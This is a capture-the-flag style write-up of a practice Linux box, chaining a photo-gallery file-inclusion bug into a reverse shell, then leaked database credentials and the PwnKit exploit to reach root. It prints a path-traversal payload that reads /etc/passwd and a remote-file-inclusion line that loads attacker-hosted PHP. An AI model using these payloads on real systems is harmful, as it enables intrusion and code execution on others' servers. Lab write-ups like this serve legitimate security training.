Snookums · linux · – views
Snookums: a photo gallery LFI that became a shell, then PwnKit to root
A solid intermediate Linux box, nothing tricky, just a clean run of good technique. An old photo-gallery web app has a file-read bug that turns into full code execution. That gets a foothold, database credentials give the next step, and an old, unpatched OS falls to a well-known local exploit for root. A nice example of chaining a web bug into a shell and then a public privesc.
Enumeration
The scan showed the usual spread, FTP, SSH, a web server, Samba, MySQL. FTP allowed anonymous login but had nothing useful and no upload rights. The web server was the way in: a "Simple PHP Photo Gallery" running an old version, on an equally ancient PHP build. Old software on the front page is always the thing to chase first.
Directory brute-forcing turned up a few PHP endpoints, including
image.php and a db.php. The gallery version had a
publicly documented local file inclusion, so image.php was the
obvious place to test.
LFI, then RFI
The image.php page took a img parameter and fed it
straight into a file read. A path traversal confirmed local file inclusion:
image.php?img=../../../../etc/passwd
That gave me /etc/passwd, and a real user on the box named
michael. But this app went further than plain LFI. Because it didn't restrict
what kind of path it would load, I could point it at a URL on my
machine instead of a local file. That's remote file inclusion, and it's much
stronger: the app fetches and executes whatever PHP I host.
image.php?img=http://<me>/shell.php
I hosted a PHP reverse shell, pointed the parameter at it, and the app ran it.
The shell came back as the apache web user. Foothold done. (Small
note from the box: my reverse shell used port 445, which the firewall let out
because it was already open, worth picking a port the box clearly allows.)
Database creds and base64 "hashes"
Sitting in the web root was db.php, which held the MySQL root
credentials in plaintext, standard for a PHP app that needs to talk to its
database. I logged into MySQL and dumped the users table:
select * from users;
Three users, each with a "password" that was really just text encoded with base64, twice. Base64 isn't encryption, it's reversible, so decoding it gave the real passwords back. One of them was michael's, the actual user on the box.
Base64 is not a way to store passwords. It's encoding, not hashing, and it reverses in one step. Double-encoding just means you decode twice.
With michael's password I switched to his account, off the low-privileged apache user and onto a real user shell.
PwnKit to root
Running linpeas as michael, the loudest finding was the operating system:
old and unpatched. That immediately points at a public local privilege
escalation, and this box was vulnerable to PwnKit (CVE-2021-4034), a famous
flaw in pkexec, a SUID-root program present on almost every Linux
system at the time. It was an easy, reliable win: run the exploit and it drops
you straight into a root shell.
There were actually a few valid paths to root here (an old-kernel exploit and a couple of others), which is common on a deliberately vulnerable box. I went with PwnKit because it's clean and doesn't risk crashing the machine the way a kernel exploit can.
The chain, in one line
An LFI in the gallery upgrades to RFI for a shell as apache, db.php leaks the MySQL root password, the users table hides passwords behind base64, and an unpatched OS falls to PwnKit for root.
What I took from it
Two things worth carrying forward. When you find a file-read bug, always test whether it will also load a remote path, because LFI that becomes RFI jumps you straight from "read files" to "run code". And on Linux, the version of the OS is a first-class finding, an old, unpatched box usually has a public privesc waiting, so checking the OS and kernel version early can save a lot of manual enumeration. Also, whenever you see "encrypted" passwords, check whether they're actually just encoded before you reach for a cracker.